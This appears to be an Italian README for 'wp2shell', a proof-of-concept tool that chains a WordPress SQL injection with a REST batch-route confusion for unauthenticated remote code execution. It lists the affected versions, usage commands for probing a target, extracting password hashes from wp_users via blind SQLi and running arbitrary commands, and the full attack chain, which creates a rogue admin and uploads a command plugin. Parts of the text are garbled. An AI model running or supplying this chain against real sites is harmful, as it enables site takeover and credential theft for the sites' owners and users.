
wp2shell — RCE pre-autenticazione nel core di WordPress (CVE-2026-60137 + CVE-2026-63030). Combina un'iniezione SQL in `author__not_in` con la confusione del batch-route per l'esecuzione remota di codice non autenticata su WP 6.9.0–6.9.4 / 7.0.0–7.0.1.
Esecuzione remota di codice pre-autenticazione contro il core di WordPress.
Combina CVE-2026-60137 (SQLi nel parametro author__not_in / author_exclude di WP_Query) con CVE-2026-63030 (confusione batch-route dell'API REST) per RCE non autenticata.
| Range | Stato |
|---|---|
| <= 6.8.5 | Non vulnerabile (nessuna confusione batch) |
| 6.8.0 - 6.8.5 | Solo SQLi, nessuna RCE |
| 6.9.0 - 6.9.4 | Vulnerabile |
| 7.0.0 - 7.0.1 | Vulnerabile |
| 7.0.2+ / 6.9.5+ | Corretta |
python3 poc.py -u TARGET_URL
python3 poc.py -u TARGET_URL --sql "SELECT user_pass FROM wp_users LIMIT 1"
python3 poc.py -u TARGET_URL -c "id"
| Argomenti | Comportamento |
|---|---|
-u TARGET_URL | Verifica se è vulnerabile (sonda temporale) |
-u TARGET_URL --sql "SQL" | Estrae un valore scalare tramite SQLi cieca |
-u TARGET_URL -c "CMD" | Catena RCE completa |
/batch/v1) per desincronizzare la gestione delle richieste e bypassare l'autenticazioneauthor_exclude tramite l'oracolo temporale SLEEP()Vulnerability check → Seed oEmbed posts → Extract table name (blind SQLi)
→ Extract admin ID (blind SQLi) → Extract cache post IDs (blind SQLi)
→ Inject poisoned changeset via batch → Create admin user
→ Login → Upload command plugin → Execute command → Cleanup
author__not_in: scoperta da TF1T, dtro, haongo